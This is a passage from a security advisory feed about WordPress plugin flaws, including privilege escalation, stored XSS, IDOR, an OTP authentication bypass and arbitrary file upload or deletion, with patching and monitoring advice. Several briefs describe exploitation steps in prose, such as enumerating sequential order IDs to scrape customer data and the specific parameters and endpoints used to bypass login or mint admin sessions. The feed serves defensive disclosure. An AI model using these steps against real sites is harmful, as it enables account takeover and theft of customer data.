<li><code>wp_set_password()</code> is executed against the Administrator's user ID, granting the attacker a full administrative session.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2026-85659 allows an attacker with low-privileged access (e.g., Subscriber) to escalate privileges to Administrator. This grants the attacker full control over the WordPress instance, including the ability to install malicious plugins, modify content, extract sensitive database information, or execute arbitrary code on the server, potentially leading to a full system compromise.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately update the PilotPress plugin to the latest version, ensuring the installation is patched beyond version 2.0.43.</li>
<li>Audit WordPress user activity logs for suspicious account modifications or unexpected changes in administrator-level access.</li>
<li>Review administrative user accounts for recent password changes that do not correspond with known authorized administrative actions.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>wordpress</category><category>privilege-escalation</category><category>vulnerability</category></item><item><title>Stored Cross-Site Scripting in NotificationX Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-cve-2026-109513/</link><pubDate>Fri, 16 Oct 2026 06:26:56 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cve-2026-109513/</guid><description>The NotificationX plugin for WordPress contains a Stored Cross-Site Scripting vulnerability in the name parameter, allowing unauthenticated attackers to execute arbitrary web scripts.</description><content:encoded><![CDATA[<p>The NotificationX plugin for WordPress (versions 3.3.3 and earlier) is vulnerable to Stored Cross-Site Scripting (XSS) due to insufficient input sanitization and output escaping within the 'name' parameter. This flaw allows unauthenticated attackers to inject malicious scripts into the application. The vulnerability is triggered when an administrator enables a WordPress.org Reviews campaign and utilizes the 'notificationx-pro/notificationx' dynamic block on a public-facing page. If successful, the injected script executes in the context of the user viewing the impacted page, potentially leading to unauthorized actions, session hijacking, or credential theft. This vulnerability is particularly impactful because the injection vector exists within a standard, documented plugin workflow.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability allows unauthenticated attackers to achieve Stored XSS, which can be leveraged to execute arbitrary JavaScript in the browsers of users viewing the compromised notification. This can result in session token theft, unauthorized administrative actions, or the redirection of users to malicious domains. Given the nature of notification plugins, victims may include site administrators and customers, increasing the potential for account takeover or large-scale user impact depending on the site traffic.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update the NotificationX plugin to the latest version, which includes patches for the input sanitization flaw in the name parameter.</li>
<li>Audit all pages currently utilizing the 'notificationx-pro/notificationx' dynamic block for signs of unauthorized script injection.</li>
<li>Review administrative configurations for the WordPress.org Reviews campaign to ensure that dynamic blocks are not exposed unnecessarily if not actively managed.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Stored Cross-Site Scripting in Salon Booking System Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-salon-booking-xss/</link><pubDate>Fri, 16 Oct 2026 06:26:47 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-salon-booking-xss/</guid><description>An unauthenticated Stored XSS vulnerability in the Salon Booking System WordPress plugin allows attackers to inject malicious scripts into checkout fields.</description><content:encoded><![CDATA[<p>The Salon Booking System - Appointment Booking for Salons, Barbershops &amp; Spas plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the 'sln[&lt;checkout-field-key&gt;]' parameter. This vulnerability affects all versions up to and including 10.31.9. The flaw exists due to insufficient input sanitization and output escaping of user-provided data within custom checkout fields. An unauthenticated attacker can exploit this by injecting arbitrary web scripts into pages that utilize these fields. Successful exploitation occurs when a site administrator has configured at least one custom checkout field of type Html or File. When a user subsequently accesses the affected page, the injected script executes in the user's browser context, potentially allowing session hijacking, unauthorized actions, or further compromise of the victim's interaction with the site.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability poses a significant risk to WordPress sites utilizing the affected plugin for booking management. Successful exploitation allows for the execution of arbitrary JavaScript in the context of site users or administrators. This could lead to the theft of session cookies, administrative account takeover, or redirection of users to malicious third-party sites. Given the plugin's function as a booking system, high-traffic sites managing customer data are primary targets.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately update the Salon Booking System - Appointment Booking for Salons, Barbershops &amp; Spas plugin to a version beyond 10.31.9, once a patch is available.</li>
<li>Audit existing custom checkout fields configured within the plugin to identify and remove any suspicious content or unexpected scripts.</li>
<li>Implement or strengthen Content Security Policy (CSP) headers on WordPress sites to mitigate the impact of injected malicious scripts.</li>
<li>Monitor web access logs for anomalous POST requests directed at plugin-specific booking endpoints that contain script-like characters or payloads.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-application</category><category>xss</category><category>wordpress</category><category>cve-2026-109232</category></item><item><title>Stored DOM-Based Cross-Site Scripting in SiteOrigin CSS</title><link>https://feed.craftedsignal.io/briefs/2026-10-siteorigin-css-xss/</link><pubDate>Fri, 16 Oct 2026 06:26:38 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-siteorigin-css-xss/</guid><description>The SiteOrigin CSS WordPress plugin contains a stored DOM-based XSS vulnerability via the 'url' parameter, allowing unauthenticated attackers to execute arbitrary web scripts.</description><content:encoded><![CDATA[<p>The SiteOrigin CSS plugin for WordPress (versions 1.6.7 and prior) contains a stored DOM-based Cross-Site Scripting (XSS) vulnerability. The flaw exists due to insufficient sanitization of the comment_author_url parameter. Attackers can leverage the WordPress esc_url() function's behavior of preserving HTML entity-encoded characters to bypass intended input protections. By injecting crafted entity-encoded payloads into the 'Website' field of a comment, an unauthenticated attacker can ensure the malicious script is stored in the database. When the page is subsequently rendered, the browser performs a DOM-decode operation, executing the injected markup. This poses a significant risk as it allows for unauthorized script execution in the context of any user session that visits the compromised page, potentially leading to session hijacking or unauthorized administrative actions.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to execute arbitrary JavaScript in the victim's browser. This can lead to account takeover, session theft, or the execution of malicious actions within the WordPress dashboard if an administrator views the crafted comment. The vulnerability affects all users running SiteOrigin CSS version 1.6.7 or earlier on their WordPress installations.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Update the SiteOrigin CSS plugin to the latest version (post-1.6.7) to resolve the input sanitization flaw. Monitor web server logs for HTTP POST requests directed toward comment submission endpoints that contain unusually long or character-encoded 'url' or 'comment_author_url' parameters.</p>
]]></content:encoded><category domain="severity">high</category><category domain="type">threat</category><category>xss</category><category>web-application</category><category>wordpress</category></item><item><title>Stored Cross-Site Scripting in Simply Schedule Appointments WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-cve-2026-104000-xss/</link><pubDate>Fri, 16 Oct 2026 06:26:25 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cve-2026-104000-xss/</guid><description>The Simply Schedule Appointments WordPress plugin is vulnerable to stored XSS via the 'status' parameter, allowing unauthenticated attackers to execute arbitrary scripts in an administrator's browser session.</description><content:encoded><![CDATA[<p>The Simply Schedule Appointments plugin for WordPress (versions 1.6.12.35 and earlier) contains a critical stored Cross-Site Scripting (XSS) vulnerability due to improper input sanitization and output escaping on the 'status' parameter. Unauthenticated attackers can inject malicious JavaScript into the application, which is then stored within the plugin's debug logs. Because debug logging is enabled by default and the logs are viewable by anyone possessing the site-wide Support PIN, the injected script executes within the context of an administrator's browser session. This vulnerability poses a significant risk to the integrity of the WordPress administrative interface, as an attacker could potentially capture sensitive session data or perform unauthorized administrative actions during troubleshooting workflows.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to execute arbitrary web scripts in the browser of a victim, typically an administrator. This can lead to full compromise of the administrative interface, unauthorized site configuration changes, or session hijacking, impacting the security of any WordPress site utilizing the affected version of the Simply Schedule Appointments plugin.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update the Simply Schedule Appointments plugin to a version released after 1.6.12.35 to remediate the lack of input sanitization.</li>
<li>Audit existing debug logs for suspicious script tags or obfuscated JavaScript payloads if the site has been exposed to the internet.</li>
<li>Disable default debug logging if it is not required for active troubleshooting to reduce the storage of potential malicious payloads.</li>
<li>Rotate the WordPress AUTH_SALT to invalidate existing Support PINs if there is reason to believe the site was accessed by unauthorized parties.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>xss</category><category>web-vulnerability</category><category>wordpress</category><category>cve-2026-104000</category></item><item><title>Stored XSS via File Upload in Ultra Addons for Contact Form 7</title><link>https://feed.craftedsignal.io/briefs/2026-10-cve-2026-103999/</link><pubDate>Fri, 16 Oct 2026 06:26:18 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cve-2026-103999/</guid><description>An unauthenticated stored XSS vulnerability in Ultra Addons for Contact Form 7 (&lt;= 3.5.54) allows attackers to bypass file extension filters and execute arbitrary JavaScript.</description><content:encoded><![CDATA[<p>The Ultra Addons for Contact Form 7 plugin for WordPress is susceptible to a Stored Cross-Site Scripting (XSS) vulnerability, tracked as CVE-2026-103999. The flaw exists due to insufficient input sanitization and output escaping during the file upload process in versions 3.5.54 and earlier. An unauthenticated attacker can circumvent the plugin's file extension blocklist by uploading text-based files, such as .txt, .csv, .vtt, .srt, or .asc, that contain embedded malicious HTML or JavaScript payloads. Because the plugin logic only validates the file extension and classifies the content as text/plain without inspecting the actual byte-level content or sanitizing the output, the injected scripts execute within the browser context of any user who accesses the compromised page. This vulnerability poses a significant risk for session hijacking, unauthorized actions on behalf of site administrators, or the redirection of site visitors to malicious content.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to execute arbitrary web scripts in the context of the WordPress site. This can lead to the theft of session cookies, modification of site content, or the execution of unauthorized administrative actions, affecting any user who views an injected page.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update the Ultra Addons for Contact Form 7 plugin to a version released after 3.5.54 immediately to remediate CVE-2026-103999.</li>
<li>Implement strict Content Security Policy (CSP) headers to mitigate the impact of XSS by restricting the execution of inline scripts and unauthorized external domains.</li>
<li>Enable server-side MIME type verification for all user-uploaded files to ensure that the actual file content matches the expected file type, rather than relying solely on file extensions.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Stored Cross-Site Scripting in User Profile Builder Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-cve-2026-100186-xss/</link><pubDate>Fri, 16 Oct 2026 06:26:09 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cve-2026-100186-xss/</guid><description>The User Profile Builder plugin for WordPress is vulnerable to unauthenticated stored XSS in the 'First Name' field when Email Confirmation is enabled, allowing script injection into user profiles.</description><content:encoded><![CDATA[<p>The User Profile Builder plugin for WordPress, specifically versions up to and including 4.0.3, contains a high-severity Stored Cross-Site Scripting (XSS) vulnerability tracked as CVE-2026-100186. The flaw stems from inadequate input sanitization and output escaping within the 'First Name' user registration field. An unauthenticated attacker can exploit this by injecting malicious JavaScript into the first name field during the registration process, provided that the 'Email Confirmation' feature is currently enabled within the plugin's settings.</p>
<p>When successful, the injected script is stored in the application database and subsequently executed in the browser of any user who accesses the injected page, such as administrators or other users viewing profile information. This allows attackers to perform actions on behalf of the victim, steal session cookies, or redirect users to malicious domains, posing a significant risk to site integrity and user data.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability allows unauthenticated attackers to execute arbitrary JavaScript in the context of other users' browsers. This can lead to unauthorized account access, session hijacking, and the potential compromise of administrative accounts if an administrator views the profile of an attacker-controlled user. The scope is limited to WordPress installations utilizing the Profile Builder plugin with specific configuration settings enabled.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritize the immediate update of the User Profile Builder plugin to the latest patched version available. Ensure that all security plugins are configured to monitor for suspicious input in registration forms. Review user management logs to identify any accounts created with anomalous first name patterns or script characters.</p>
<ul>
<li>Update the User Profile Builder plugin to the version containing the security fix for CVE-2026-100186 immediately.</li>
<li>Disable the 'Email Confirmation' feature in the Profile Builder settings as a temporary mitigation until the plugin can be patched.</li>
<li>Monitor web application logs for HTTP POST requests to registration endpoints containing script tags, JavaScript events, or HTML entities.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Privilege Escalation in Nexter Extension WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-nexter-extension-privesc/</link><pubDate>Fri, 16 Oct 2026 06:26:03 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-nexter-extension-privesc/</guid><description>The Nexter Extension plugin for WordPress is vulnerable to privilege escalation (CVE-2026-111114) allowing authenticated users to restore elevated roles due to improper state cleanup during bulk demotions.</description><content:encoded><![CDATA[<p>The Nexter Extension - Security, Performance, Code Snippets &amp; Site Toolkit plugin for WordPress is vulnerable to privilege escalation in all versions up to and including 4.7.11 (CVE-2026-111114). The vulnerability resides in the role switcher functionality, specifically within the <code>role_switcher_to_view_admin_as()</code> function, which lacks appropriate nonce and capability checks.</p>
<p>The flaw is compounded by an inadequate cleanup mechanism in the <code>profile_update</code> hook. When a user is demoted from Administrator using the bulk role-change control in <code>wp-admin/users.php</code>, the plugin fails to clear the <code>nxtext_view_admin_original_role</code> user meta. Because this bypasses the standard <code>profile_update</code> hook, the stale administrator role persists in the user profile. Authenticated users who were previously administrators and demoted via this specific bulk path can trigger the <code>/?reset-view</code> handler to restore their administrator privileges, granting them unauthorized full access to the WordPress environment.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows a user with Subscriber-level access or higher to escalate their privileges to Administrator. This impact is contingent on the attacker having previously held Administrator status and having been demoted specifically via the WordPress bulk user management interface. This vulnerability affects any WordPress site utilizing the Nexter Extension plugin (&lt;= 4.7.11).</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update the Nexter Extension plugin to a version addressing CVE-2026-111114 immediately.</li>
<li>Audit the <code>wp_usermeta</code> table for suspicious entries in the <code>nxtext_view_admin_original_role</code> column, particularly for users who should not currently possess administrative privileges.</li>
<li>Restrict administrative access to the WordPress bulk user management interface to trusted personnel until the plugin is patched.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>wordpress</category><category>privilege-escalation</category><category>vulnerability</category></item><item><title>Authorization Bypass in Klarna for WooCommerce Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-klarna-woocommerece-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 06:25:56 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-klarna-woocommerece-auth-bypass/</guid><description>An authorization bypass vulnerability in the Klarna for WooCommerce plugin allows unauthenticated attackers to enumerate store orders and exfiltrate customer PII via the order-pay endpoint.</description><content:encoded><![CDATA[<p>The Klarna for WooCommerce plugin for WordPress, in versions up to and including 4.13.3, contains a critical authorization bypass vulnerability (CVE-2026-110590). The flaw stems from the plugin's failure to verify user authorization before returning order details. Unauthenticated attackers can exploit this by sending crafted GET requests to the WooCommerce order-pay endpoint. The server responds by emitting sensitive customer PII - including full names, email addresses, phone numbers, and physical billing/shipping addresses - directly into the HTML source code within the 'klarna_payments_params' JavaScript variable. Because WooCommerce utilizes sequential integer-based order IDs, an attacker can trivially enumerate every order in a vulnerable store without needing authentication or a valid 'order_key'. This vulnerability poses a significant risk for mass data harvesting and privacy breaches for any merchant utilizing this plugin.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker identifies a WordPress site running the Klarna for WooCommerce plugin (version &lt;= 4.13.3).</li>
<li>Attacker probes the '/checkout/order-pay/' endpoint to confirm accessibility.</li>
<li>Attacker uses an automated script to increment sequential order IDs (e.g., /checkout/order-pay/1001, /checkout/order-pay/1002).</li>
<li>The vulnerable plugin processes the request without validating if the current session belongs to the order owner.</li>
<li>The server returns a 200 OK response containing the order page HTML.</li>
<li>Attacker scrapes the 'klarna_payments_params' JavaScript variable from the response body.</li>
<li>Attacker extracts PII (names, addresses, email, phone) from the scraped JSON-formatted variable.</li>
<li>Attacker compiles the enumerated records for exfiltration.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows an unauthenticated attacker to scrape the entire order history of a WooCommerce store. This results in the exposure of extensive customer PII, including names, contact information, and physical addresses. With the increasing reliance on e-commerce, such a mass-data leak impacts customer privacy, violates compliance requirements (such as GDPR or CCPA), and can lead to secondary phishing or fraud attacks against the affected customers.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update the Klarna for WooCommerce plugin to the latest version (patch for CVE-2026-110590) immediately.</li>
<li>Monitor web server logs for high-frequency GET requests to '/checkout/order-pay/' originating from single IP addresses.</li>
<li>Review web application firewall (WAF) logs for unauthorized access to order-pay paths and set rate-limiting policies for these endpoints.</li>
<li>Deploy the Sigma rule below to detect automated enumeration attempts against the checkout/order-pay infrastructure.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-application</category><category>privacy</category><category>vulnerability</category></item><item><title>Privilege Escalation in InstaWP Connect WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-instawp-privilege-escalation/</link><pubDate>Fri, 16 Oct 2026 06:25:39 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-instawp-privilege-escalation/</guid><description>The InstaWP Connect plugin for WordPress, versions 0.1.4.1 and earlier, contains a privilege escalation vulnerability allowing authenticated users to extract the master API key and mint administrator session tokens.</description><content:encoded><![CDATA[<p>InstaWP Connect versions 0.1.4.1 and earlier are vulnerable to a critical privilege escalation flaw (CVE-2026-109400). The vulnerability stems from insecure registration of administrative pages via <code>add_management_page()</code>, which improperly relies on roles as capabilities. Combined with a lack of authorization checks in <code>generate_section_field()</code>, the plugin displays the site's plaintext master API key in the HTML source of the settings page to any user assigned to the plugin's Sync Tab Access list.</p>
<p>An authenticated attacker - including those with low-level subscriber access - can extract this key, calculate the SHA-256-derived secret, and authenticate against the plugin's REST API endpoint. By interacting with the <code>POST /wp-json/instawp-connect/v2/auto-login</code> endpoint, the attacker can generate a single-use login URL, granting them full administrative access to the WordPress site. This vulnerability is active in configurations where an administrator has included lower-privileged roles within the plugin settings' sync access list.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation results in full administrative compromise of the affected WordPress site. This allows attackers to install malicious plugins, exfiltrate sensitive site data, modify content, and perform further post-exploitation activities within the environment. Any WordPress site currently using InstaWP Connect 0.1.4.1 or earlier that has configured sync tab access for roles other than 'administrator' is at risk of unauthorized administrative session creation.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update the InstaWP Connect plugin to the latest version that patches CVE-2026-109400 immediately.</li>
<li>Restrict Sync Tab Access roles in the plugin settings to 'administrator' only, ensuring no lower-privileged roles have access to the plugin settings page.</li>
<li>Monitor webserver access logs for anomalous POST requests to the <code>/wp-json/instawp-connect/v2/auto-login</code> endpoint, particularly those originating from user accounts without administrator privileges.</li>
<li>Perform an audit of current WordPress user roles and verify that the plugin settings do not grant administrative access to non-admin users.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>wordpress</category><category>privilege-escalation</category><category>web-application</category><category>cve-2026-109400</category></item><item><title>Arbitrary File Deletion in Groundhogg WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-groundhogg-file-deletion/</link><pubDate>Fri, 16 Oct 2026 06:25:32 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-groundhogg-file-deletion/</guid><description>The Groundhogg WordPress plugin contains an arbitrary file deletion vulnerability in the copy_file function that allows authenticated users with specific capabilities to remove critical server files.</description><content:encoded><![CDATA[<p>Groundhogg - CRM, Newsletters, and Marketing Automation plugin for WordPress is susceptible to an arbitrary file deletion vulnerability (CVE-2026-109221). The issue stems from insufficient input validation within the 'copy_file' function in plugin versions up to and including 4.9.3. The vulnerability is accessible to authenticated users possessing the 'import_contacts' capability, a permission granted by default to the 'Sales Representative' role. By manipulating file paths, an attacker can delete sensitive files from the WordPress installation directory. Successful exploitation allows for the deletion of critical files such as 'wp-config.php', which can be leveraged to reset the installation process or facilitate remote code execution by bypassing security configurations. Defenders should prioritize auditing the permissions associated with the 'Sales Representative' role and patching to the version addressing this path validation flaw.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability allows authenticated attackers with limited administrative privileges to impact the integrity and availability of the WordPress site. Deletion of 'wp-config.php' forces the application to return to an uninitialized state, permitting unauthorized attackers to reconfigure the database connection and take full control of the web application and underlying server environment.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Patch the Groundhogg plugin to the latest version immediately to resolve the path validation flaw in 'copy_file'.</li>
<li>Audit WordPress user roles and capabilities to identify and restrict accounts assigned the 'Sales Representative' role or the 'import_contacts' capability.</li>
<li>Monitor web server access logs for anomalous POST requests targeting the plugin's file manipulation endpoints.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-application</category><category>wordpress</category><category>cve-2026-109221</category></item><item><title>Sensitive Information Exposure in Modula Image Gallery Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-modula-gallery-exposure/</link><pubDate>Fri, 16 Oct 2026 06:25:22 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-modula-gallery-exposure/</guid><description>The Modula Image Gallery plugin for WordPress is vulnerable to unauthenticated information exposure via the REST API, allowing attackers to retrieve plaintext credentials for password-protected galleries.</description><content:encoded><![CDATA[<p>The Modula Image Gallery - Photo Grid &amp; Video Gallery plugin for WordPress (versions up to and including 3.0.11) contains a sensitive information exposure vulnerability identified as CVE-2026-107659. The issue exists due to inconsistent REST API security controls. While the plugin correctly redacts sensitive data in its own custom API endpoint (/wp-json/modula/v2/gallery/{id}/settings) via the redact_settings_for_public() function, it fails to implement the same protection for the core WordPress REST API endpoint (/wp-json/wp/v2/modula-gallery/{id}).</p>
<p>Because the plugin registers its custom post type with 'show_in_rest' set to true, the core WordPress API exposes the plugin's metadata. Unauthenticated attackers can query this endpoint to retrieve the 'modulaSettings' field, which contains plaintext usernames and passwords used for password-protecting galleries. This exposure allows unauthorized access to private gallery content if those credentials are reused elsewhere. Defenders should monitor for unauthenticated requests targeting the vulnerable REST API endpoints.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability allows unauthenticated attackers to exfiltrate plaintext credentials (usernames and passwords) associated with password-protected galleries. This can lead to unauthorized access to gallery contents and potential credential stuffing attacks if users reuse these passwords on other systems. Given the prevalence of WordPress plugins in enterprise environments, the exposure of these credentials creates a significant risk of data breach and lateral movement.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update the Modula Image Gallery - Photo Grid &amp; Video Gallery plugin to the latest version immediately once a patch is released (version &gt; 3.0.11).</li>
<li>Monitor web server logs for unauthenticated GET requests targeting /wp-json/wp/v2/modula-gallery/ that return a 200 OK status.</li>
<li>Audit existing WordPress installations to identify and remove stored credentials in gallery settings if they have been exposed.</li>
<li>Block or restrict access to the WordPress REST API for untrusted IP ranges if the functionality is not required globally.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>wordpress</category><category>information-disclosure</category><category>rest-api</category><category>vulnerability</category></item><item><title>Authentication Bypass in miniOrange OTP Login Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-miniorange-otp-bypass/</link><pubDate>Fri, 16 Oct 2026 06:25:14 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-miniorange-otp-bypass/</guid><description>An authentication bypass vulnerability in the miniOrange OTP Login, Verification and SMS Notifications plugin for WordPress allows unauthenticated attackers to hijack user sessions.</description><content:encoded><![CDATA[<p>The miniOrange OTP Login, Verification and SMS Notifications plugin for WordPress contains an authentication bypass vulnerability, assigned CVE-2026-103895, affecting all versions up to and including 5.5.8. The flaw resides in the <code>mo_by_pass_login()</code> function. The vulnerability stems from the improper handling of the Delay OTP grace flag (<code>mov_last_verified_dttm</code>), which is stored in the WordPress <code>user_meta</code> table keyed only by user ID. This metadata lacks binding to specific session tokens, IP addresses, or device identifiers.</p>
<p>When a site is configured with OTP-only login (<code>wp_login_skip_password=1</code>) and Delay OTP Verification (<code>wp_login_delay_otp=1</code>), an attacker can trigger the <code>mo_delay_otp_process()</code> function to short-circuit the standard authentication workflow. By submitting a target username along with the <code>mo_wp_login_intent=otp</code> parameter and an arbitrary password, an attacker can inherit an existing user's grace period window, effectively logging in as that user without valid credentials. This impacts any user account, including administrators, provided they fall within the configured delay interval.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to achieve full account takeover of any WordPress user on the target site. Given the plugin's potential to affect administrator accounts, this vulnerability can lead to complete site compromise, including the execution of arbitrary code via administrative plugin or theme management, configuration changes, and data exfiltration.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update the miniOrange OTP Login, Verification and SMS Notifications plugin to version 5.5.9 or later immediately to resolve CVE-2026-103895.</li>
<li>Monitor web server access logs for HTTP POST requests directed at the WordPress login interface containing the parameter <code>mo_wp_login_intent=otp</code>.</li>
<li>Disable <code>wp_login_skip_password</code> and <code>wp_login_delay_otp</code> settings in the plugin configuration as a temporary mitigation until the software is patched.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>wordpress</category><category>plugin</category><category>authentication-bypass</category><category>cve-2026-103895</category></item><item><title>IDOR Vulnerability in FluentCart WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-fluentcart-idor/</link><pubDate>Fri, 16 Oct 2026 06:25:05 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-fluentcart-idor/</guid><description>The FluentCart plugin for WordPress up to version 1.7.0 contains an IDOR vulnerability allowing unauthenticated attackers to exfiltrate customer billing and shipping PII via sequential ID enumeration.</description><content:encoded><![CDATA[<p>The FluentCart WordPress plugin (version 1.7.0 and earlier) contains an Insecure Direct Object Reference (IDOR) vulnerability identified as CVE-2026-103525. The flaw resides in an unauthenticated AJAX entry point designed for order and address retrieval. Because the plugin lacks server-side authorization checks, it relies entirely on client-provided order_id and address_id parameters. An attacker can enumerate these identifiers by exploiting the sequential nature of AUTO_INCREMENT database keys. By cycling through these numerical values, an unauthenticated user can exfiltrate sensitive customer PII, including street addresses, phone numbers, company names, VAT numbers, and legal registration IDs. Although a soft rate limit of five requests per 60 seconds exists, it is insufficient to prevent automated enumeration of the database over time. This vulnerability poses a significant risk to customer privacy and regulatory compliance.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation results in the unauthorized mass exfiltration of sensitive customer PII. Victims include any WordPress e-commerce site utilizing the vulnerable FluentCart plugin versions. Exposed data encompasses physical addresses, contact information, and business-related tax documentation, potentially leading to identity theft, fraud, or violations of data protection regulations.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update the FluentCart plugin to the latest available version beyond 1.7.0 immediately.</li>
<li>Implement web application firewall (WAF) rules to detect and block high-frequency sequential requests to the specific AJAX endpoints associated with this plugin.</li>
<li>Review web server access logs for anomalous, high-frequency POST or GET requests to the plugin's address/order retrieval AJAX URI patterns that result in HTTP 200 status codes but originate from distinct, unauthenticated sessions.</li>
<li>Monitor for enumeration patterns in traffic, specifically looking for increments in numerical URL parameters or query strings associated with order retrieval.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Arbitrary File Upload in ELEX WordPress HelpDesk Plugin (CVE-2026-103768)</title><link>https://feed.craftedsignal.io/briefs/2026-10-cve-2026-103768/</link><pubDate>Fri, 16 Oct 2026 06:24:49 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cve-2026-103768/</guid><description>The ELEX WordPress HelpDesk &amp; Customer Ticketing System plugin is vulnerable to unauthenticated arbitrary file upload in the initMailPart function, potentially leading to remote code execution.</description><content:encoded><![CDATA[<p>The ELEX WordPress HelpDesk &amp; Customer Ticketing System plugin for WordPress contains a critical arbitrary file upload vulnerability, tracked as CVE-2026-103768. The vulnerability exists within the initMailPart function, which fails to adequately validate the file types of incoming IMAP email attachments. This flaw allows unauthenticated remote attackers to upload arbitrary, potentially executable files to the WordPress server environment. By bypassing file type restrictions, an attacker can upload malicious scripts, such as web shells, and execute them directly via the web server. This vulnerability affects all versions of the plugin up to and including version 3.3.7. The impact is significant, as it grants attackers a direct path to remote code execution and full compromise of the affected WordPress site.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to gain remote code execution on the underlying web server. This enables full unauthorized access, potential data exfiltration, site defacement, and persistence through the deployment of webshells. This affects all WordPress installations utilizing the vulnerable version of the ELEX HelpDesk plugin.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritize patching the ELEX WordPress HelpDesk &amp; Customer Ticketing System plugin by upgrading to the version containing the security fix (if available) or disabling the plugin until a patch is applied. Conduct a forensic review of the plugin's upload directory to identify unauthorized files that may indicate exploitation. Implement strict file upload monitoring at the web application firewall (WAF) layer to block suspicious file extensions and anomalous request patterns directed at the plugin's mail processing endpoints.</p>
